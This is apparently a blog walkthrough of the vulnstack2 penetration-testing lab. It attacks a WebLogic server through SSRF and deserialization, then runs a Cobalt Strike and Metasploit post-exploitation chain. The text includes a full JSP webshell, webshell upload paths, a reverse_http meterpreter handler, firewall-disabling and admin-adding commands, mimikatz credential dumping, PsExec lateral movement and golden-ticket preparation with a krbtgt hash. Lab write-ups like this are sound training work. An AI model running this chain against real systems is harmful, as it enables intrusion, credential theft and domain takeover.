0%

vulnstack2靶场

环境搭建

统一登录密码 1qaz@WSX

Web密码错误的,在快照管理器里面选择转到1.3即可,默认为空,然后修改密码为统一密码

然后再web主机上开启Weblogic服务

1
2
3
4
dc    仅主机  10.10.10.10
web 仅主机 10.10.10.80 NAT 192.168.0.80
pc 仅主机 10.10.10.201 NAT 192.168.0.201
kali NAT 192.168.0.128

信息收集

nmap扫描端口

用kaliping不通web主机,应该是开启了防火墙禁止了icmp

sudo nmap 192.168.0.80 -sV

PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2 3389/tcp open ms-wbt-server Microsoft Terminal Service 7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC

先从7001的weblogic下手,使用WeblogicScan扫描一下是否存在漏洞

得到后台路径为http://192.168.0.80:7001/console/login/LoginForm.jsp

检测到存在CVE20192725 和 ssrf漏洞

漏洞利用

利用ssrf漏洞进行端口探测

存在位置http://192.168.0.80:7001/uddiexplorer/SearchPublicRegistries.jsp

抓包测试

此处的operator为可控点,输入一个存在的端口127.0.0.1:7001 会返回一个状态码

输入一个不存在的端口时192.168.0.80:1234 会返回but could not connect over HTTP to server

输入127.0.0.1:6379 返回but could not connect over HTTP to server说明没有开放6379端口,没法继续利用去弹redis shell

weblogic ssrf利用

Getshell

直接使用6哥师傅的java反序列化终极测试工具.

weblogic上传木马时路径选择

1.把shell写到控制台images目录中

C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

访问http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp

2.写到uddiexplorer目录中

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp

访问http://*.*.*.*:7001/uddiexplorer/shell.jsp

3.写到应用安装目录中

C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp

访问http://*.*.*.*:7001/项目名/shell.jsp

上传蚁剑的jsp马。密码为ant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

使用蚁剑进行连接

然后可以使用As-Exploits插件

发现该机器上有安装360

上线CS

在CS上创建listener 生成cs.exe后使用蚁剑运行,beacon成功上线

信息收集
1
2
3
4
5
6
7
8
9
10
查看当前用户sid  shell whoami /user
查看系统信息 shell systeminfo
查看域名 shell net config workstation
查看域内用户 shell net user /domain
查看机器信息 net computers
查看域内主机 shell net view
查看有几个域 shell net view /domain
查看域管理员 shell net group "domain admins" /domain
查看域控 shell net group "domain controllers" /domain

shell whoami /user

shell systeminfo

shell net config workstation

shell net user /domain

net computers

使用CS的portscan模块扫描域内主机端口

关闭防火墙netsh advfirewall set allprofiles state off

shell net view 发现报错6118,在网上查了下是因为没有开启Computer Brower服务,去看了下,web服务器把该服务禁止了,开启后就可以正常使用了(因为刚才是的时候web服务器密码登录不上去,然后切换了快照,手动开启了web服务)

shell net group "domain admins" /domain

shell net group "domain controllers" /domain

使用CS的run_mimikatz模块

得到凭据信息,密码为1qaz@WSX

创建用户登录3389

查看3389是否开放

添加用户到管理员权限 shell net localgroup administrators Mamor /add

sudo rdesktop 192.168.0.80:3389 使用 Mamor 1qaz@WSX成功登录

(注:这里的360防护好像没有起作用,没有进行拦截)

使用PSexec横向移动

使用和上一个靶场一样的方法,创建一个smb监听器

在Targets中 选择主机右键jump-> psexec,选择票据

然后得到如图,可以通过这种方法得到web机器的system权限

成功拿到域控DC.

CS派生MSF

在CS中创建一个 Foreign HTTP listener

在msf中

1
2
3
4
5
6
7
8
msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_http
set => payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.0.128
lhost => 192.168.0.128
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run

msf添加路由

配置代理,在proxychains4设置127.0.0.1 1080

权限维持

域控信息收集

在域控获取krbtgt账户的NTLM hash值和SID

82dfc71b72a11ef37d663047bc2088fb

SID S-1-5-21-2756371121-2868759905-3853650604

黄金票据利用

黄金票据时伪造票据授予票据(TGT)

利用需要的条件:

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

使用CS清除client端(域内其他机器)的票据

kerberos_ticket_purge

shell klist查看票据信息是否已经被清除

使用CS生成黄金票据

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------